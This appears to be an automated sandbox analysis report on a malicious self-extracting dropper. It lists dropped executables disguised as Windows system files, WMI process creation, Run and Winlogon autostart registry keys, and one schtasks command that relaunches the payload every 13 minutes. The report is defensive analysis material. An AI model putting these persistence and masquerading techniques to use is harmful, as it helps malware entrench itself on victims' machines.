Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: mscoree.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: kernel.appcore.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: version.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: uxtheme.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: windows.storage.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wldp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: profapi.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptsp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: rsaenh.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptbase.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: sspicli.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: mscoree.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: kernel.appcore.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: version.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: uxtheme.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: windows.storage.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wldp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: profapi.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptsp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: rsaenh.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptbase.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: sspicli.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: mscoree.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: apphelp.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: version.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: uxtheme.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: windows.storage.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: wldp.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: profapi.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptsp.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: rsaenh.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptbase.dll
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: sspicli.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: mscoree.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: version.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: wldp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: profapi.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: sspicli.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: mscoree.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: kernel.appcore.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: version.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: uxtheme.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: windows.storage.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: wldp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: profapi.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptsp.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: rsaenh.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: cryptbase.dll
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Section loaded: sspicli.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: mscoree.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: version.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: wldp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: profapi.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Section loaded: sspicli.dll

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{00BB2765-6A77-11D0-A535-00C04FD7D062}\InProcServer32

Jump to behavior

Source: 7aHY4r6vXR.exe

Static file information: File size 14707581 > 1048576

Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: 7aHY4r6vXR.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: 7aHY4r6vXR.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: 7aHY4r6vXR.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: 7aHY4r6vXR.exe
Source:	Binary string: 7C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.pdb source: bridgeServerFontSavesMonitor.exe, 00000004.00000002.1849804431.000000000393F000.00000004.00000800.00020000.00000000.sdmp

Source: 7aHY4r6vXR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: 7aHY4r6vXR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: 7aHY4r6vXR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: 7aHY4r6vXR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: 7aHY4r6vXR.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\axeflxig\axeflxig.cmdline"			Jump to behavior

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe

File created: C:\ChainBroker\__tmp_rar_sfx_access_check_5981078

Jump to behavior

Source: 7aHY4r6vXR.exe

Static PE information: section name: .didat

Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEF640 push ecx; ret	0_2_00BEF653
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	Code function: 0_2_00BEEB78 push eax; ret	0_2_00BEEB96
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 4_2_00007FFD9BAD4B3C push ebp; retf	4_2_00007FFD9BAD4B42
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 4_2_00007FFD9BEC86CE push es; ret	4_2_00007FFD9BEC86CF
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 4_2_00007FFD9BEC54EC push cs; iretd	4_2_00007FFD9BEC561F
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 29_2_00007FFD9BAB4B3C push ebp; retf	29_2_00007FFD9BAB4B42
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 32_2_00007FFD9BAA4B3C push ebp; retf	32_2_00007FFD9BAA4B42
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAD4AC2 push E812C57Eh; retf	35_2_00007FFD9BAD4AC9
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAD7560 push ebx; iretd	35_2_00007FFD9BAD756A
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAD7550 push ebx; iretd	35_2_00007FFD9BAD756A
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAB896D push ecx; iretd	35_2_00007FFD9BAB896E
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAB955F push esp; ret	35_2_00007FFD9BAB956B
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 35_2_00007FFD9BAA4B3C push ebp; retf	35_2_00007FFD9BAA4B42
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAD896D push ecx; iretd	36_2_00007FFD9BAD896E
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAD955F push esp; ret	36_2_00007FFD9BAD956B
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAC4B3C push ebp; retf	36_2_00007FFD9BAC4B42
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAF4AC2 push E8127A7Eh; retf	36_2_00007FFD9BAF4AC9
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAF7560 push ebx; iretd	36_2_00007FFD9BAF756A
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Code function: 36_2_00007FFD9BAF7550 push ebx; iretd	36_2_00007FFD9BAF756A
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAC4B3C push ebp; retf	38_2_00007FFD9BAC4B42
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAF4AC2 push E813227Eh; retf	38_2_00007FFD9BAF4AC9
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAF7560 push ebx; iretd	38_2_00007FFD9BAF756A
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAF7550 push ebx; iretd	38_2_00007FFD9BAF756A
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAD9F43 push 8B48FFFFh; iretd	38_2_00007FFD9BAD9F4E
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAD896D push ecx; iretd	38_2_00007FFD9BAD896E
Source: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 38_2_00007FFD9BAD955F push esp; ret	38_2_00007FFD9BAD956B
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BADF74A push es; ret	41_2_00007FFD9BADF74B
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAB4B3C push ebp; retf	41_2_00007FFD9BAB4B42
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAE4AC2 push E8138E7Eh; retf	41_2_00007FFD9BAE4AC9
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAE7560 push ebx; iretd	41_2_00007FFD9BAE756A
Source: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Code function: 41_2_00007FFD9BAE7550 push ebx; iretd	41_2_00007FFD9BAE756A

Source: bridgeServerFontSavesMonitor.exe.0.dr	Static PE information: section name: .text entropy: 7.5410078719892475
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe.4.dr	Static PE information: section name: .text entropy: 7.5410078719892475
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe0.4.dr	Static PE information: section name: .text entropy: 7.5410078719892475
Source: RuntimeBroker.exe.4.dr	Static PE information: section name: .text entropy: 7.5410078719892475
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe1.4.dr	Static PE information: section name: .text entropy: 7.5410078719892475
Source: SfLAFHFXIbHzHGgilQgXtKOw.exe2.4.dr	Static PE information: section name: .text entropy: 7.5410078719892475

Persistence and Installation Behavior

Creates processes via WMI

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	WMI Queries: IWbemServices::ExecMethod - root\cimv2 : Win32_Process::Create

Infects executable files (exe, dll, sys, html)

Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

System file written: C:\Windows\System32\SecurityHealthSystray.exe

Jump to behavior

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\VObntHLa.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\ARUSTYfT.log	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\hzhmzTUD.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\SchCache\RuntimeBroker.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\riACjval.log	Jump to dropped file
Source: C:\Users\user\Desktop\7aHY4r6vXR.exe	File created: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\Default\AppData\Local\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

File created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe

Jump to dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\Migration\WTR\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe	File created: C:\Windows\System32\SecurityHealthSystray.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\SchCache\RuntimeBroker.exe	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Windows\assembly\GAC_32\System.Data.OracleClient\2.0.0.0__b77a5c561934e089\SfLAFHFXIbHzHGgilQgXtKOw.exe	Jump to dropped file

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\VObntHLa.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\ARUSTYfT.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\riACjval.log	Jump to dropped file
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	File created: C:\Users\user\Desktop\hzhmzTUD.log	Jump to dropped file

Boot Survival

Creates an autostart registry key pointing to binary in C:\Windows

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker

Jump to behavior

Creates an undocumented autostart registry key

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon Shell	Jump to behavior

Creates multiple autostart registry keys

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor	Jump to behavior

Drops PE files to the user root directory

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

File created: C:\Users\user\SfLAFHFXIbHzHGgilQgXtKOw.exe

Jump to dropped file

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe

Process created: C:\Windows\System32\schtasks.exe schtasks.exe /create /tn "SfLAFHFXIbHzHGgilQgXtKOwS" /sc MINUTE /mo 13 /tr "'C:\Users\Default User\Local Settings\Temp\SfLAFHFXIbHzHGgilQgXtKOw.exe'" /f

Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run RuntimeBroker	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run bridgeServerFontSavesMonitor	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
Source: C:\ChainBroker\bridgeServerFontSavesMonitor.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run SfLAFHFXIbHzHGgilQgXtKOw	Jump to behavior
